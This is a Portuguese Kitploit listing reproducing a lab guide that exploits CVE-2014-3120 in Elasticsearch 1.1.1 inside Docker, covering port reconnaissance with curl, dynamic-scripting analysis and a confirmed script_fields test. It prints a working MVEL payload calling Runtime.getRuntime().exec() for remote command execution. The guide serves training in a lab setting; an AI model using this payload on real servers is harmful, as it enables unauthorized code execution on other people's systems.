Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2014-3120 — Guia de laboratório passo a passo demonstrando a exploração do CVE-2014-3120 contra o Elasticsearch 1.1.1, abrangendo análise de vulnerabilidade, RCE via scripting MVEL e pós-exploração em um ambiente Docker. | Kitploit
Ferramentas/GitHubGitHub/dungsocool/cve-2014-3120
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Guia de laboratório passo a passo demonstrando a exploração do CVE-2014-3120 contra o Elasticsearch 1.1.1, abrangendo análise de vulnerabilidade, RCE via scripting MVEL e pós-exploração em um ambiente Docker.

Ver Repositório
8há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

LAB 10-CVE-2014-3120

I. ANÁLISE DO SISTEMA

Identificando a Superfície de Ataque a partir do Ambiente Docker

Começando com o que está em execução no ambiente. Listamos todos os contêineres ativos:

docker ps

image.png

Resultado: O contêiner p1/lab10:latest está em execução, expondo 2 portas externamente:

Mapeamento de portasProtocolo
0.0.0.0:9200 → 9200/tcpHTTP (precisa de verificação)
0.0.0.0:9300 → 9300/tcpDesconhecido

Observação inicial: As portas 9200 e 9300 são comumente conhecidas como as portas padrão do Elasticsearch. No entanto, não podemos concluir apenas com base nos números das portas - muitos outros serviços podem se vincular a qualquer porta.

⇒ Usamos curl diretamente em cada porta para verificar qual serviço está realmente em execução.

Testando a porta 9300

curl -i http://192.168.3.137:9300/

image.png

Análise da resposta:

  • Resposta: curl: (52) Empty reply from server
  • Cabeçalho do Servidor: Nenhum - o servidor não retorna nenhuma resposta HTTP

Avaliação: O servidor aceitou a conexão TCP (sem recusa de conexão), mas não respondeu usando o protocolo HTTP. Isso corresponde ao comportamento do protocolo de transporte do Elasticsearch na porta 9300 - um protocolo binário usado para comunicação entre nós em um cluster, não HTTP.

⇒ Mentalidade: A Porta 9300 usa um protocolo binário → não pode ser explorada diretamente via curl/navegador. Mude para verificar a porta 9200 - a porta da API REST HTTP.


Testando a porta 9200

curl -i http://192.168.3.137:9200/

image.png

Análise da resposta:

CampoValorSignificado
name"Rage"Nome do nó do Elasticsearch (nome de personagem aleatório da Marvel - comportamento padrão de versões antigas do ES)
version.number"1.1.1"Versão extremamente antiga - lançada em abril de 2014
build_timestamp"2014-04-16T14:27:12Z"Construída em 2014
lucene_version"4.7"Lucene 4.7 - mecanismo de indexação antigo
tagline"You Know, for Search"Frase de assinatura característica do Elasticsearch

Avaliação da Superfície de Ataque:

  • Confirmado que é Elasticsearch 1.1.1 - o serviço retorna uma resposta JSON característica com detalhes completos da versão
  • Nenhuma autenticação necessária - a API REST responde diretamente sem exigir credenciais
  • Elasticsearch 1.1.1 (2014) está dentro do escopo de impacto de várias CVEs críticas, notavelmente CVE-2014-3120 - uma vulnerabilidade que permite execução arbitrária de código via Dynamic Scripting

image.png

⇒ Mentalidade: O Elasticsearch 1.1.1 habilita Dynamic Scripting por padrão - permitindo que clientes enviem scripts (expressões MVEL) em consultas de pesquisa para o servidor executar. Sem um sandbox ou validação adequada, um atacante pode injetar um script malicioso para executar comandos do sistema. Próximo passo: verificar se o Dynamic Scripting está realmente ativo no alvo.

Verificando o Dynamic Scripting e o Motor MVEL

O que é Dynamic Scripting?

O Elasticsearch suporta um recurso de Scripting - permitindo que clientes enviem scripts (expressões matemáticas ou lógicas) dentro de solicitações de pesquisa para o servidor executar ao processar resultados. No Elasticsearch 1.x, o motor padrão para esse recurso é MVEL (MVFLEX Expression Language).

Problema Central de Segurança

Nas versões do Elasticsearch anteriores à 1.2, o Dynamic Scripting está habilitado por padrão (script.disable_dynamic: false). Isso significa:

  1. A API REST não requer autenticação
  2. Os clientes podem enviar scripts arbitrários via o parâmetro script_fields na API _search
  3. O motor MVEL carece de um sandbox suficientemente forte - permitindo acesso ao runtime Java
  4. Atacantes podem invocar java.lang.Runtime.getRuntime().exec() para executar comandos do sistema

Como script_fields Funciona

Quando uma solicitação de pesquisa com script_fields é enviada, o Elasticsearch irá:

  1. Receber a solicitação JSON via a API _search
  2. Analisar o campo script_fields → encontrar o script a ser executado
  3. Avaliar o script usando o motor MVEL
  4. O motor MVEL tem acesso total ao runtime Java → pode invocar qualquer classe Java
  5. Retornar os resultados na resposta HTTP

Analisando o Vetor de Ataque: MVEL → Java Runtime → RCE

Em Java, a maneira mais comum de executar um comando de sistema é:

Runtime.getRuntime().exec("command");

MVEL, como uma linguagem de expressão com acesso total a classes Java, permite invocar isso diretamente:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Explicando cada parte:

ParteExplicação
import java.io.*Importa classes Java IO
Runtime.getRuntime()Obtém a instância do Java Runtime
.exec("id")Executa o comando shell id
.getInputStream()Obtém o fluxo de saída do processo
new Scanner(...).useDelimiter("\\A").next()Lê toda a saída como uma string

⇒ Mentalidade: Com o Elasticsearch, a saída do RCE é retornada diretamente na resposta — sem necessidade de redirecionar para um arquivo e lê-lo novamente. Isso torna o exploit mais limpo e rápido de verificar.

II. EXPLORAÇÃO

Confirmando que o Dynamic Scripting está Ativo

Após identificar o alvo como Elasticsearch 1.1.1, o próximo passo é verificar se o Dynamic Scripting está realmente habilitado.

CVE-2014-3120 explora o fato de que o Elasticsearch permite que clientes enviem scripts dentro de solicitações _search. Se o script for executado pelo servidor, um atacante pode substituir a expressão inofensiva por um payload que chama o Java Runtime para executar comandos do sistema.

Primeiro, criamos um documento de teste para garantir que a consulta tenha pelo menos um resultado correspondente. Se nenhum documento corresponder, script_fields não será avaliado.

curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

Em seguida, atualizamos o índice:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Próximo passo, enviamos uma solicitação _search com script_fields contendo uma expressão MVEL inofensiva:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

Enviamos o script "1+1" e o servidor retorna o resultado 2. Isso prova que o Elasticsearch não apenas recebe a solicitação _search, mas executa o script dinâmico no lado do servidor.

⇒ Dynamic Scripting está ativo no alvo.

Baixar ferramenta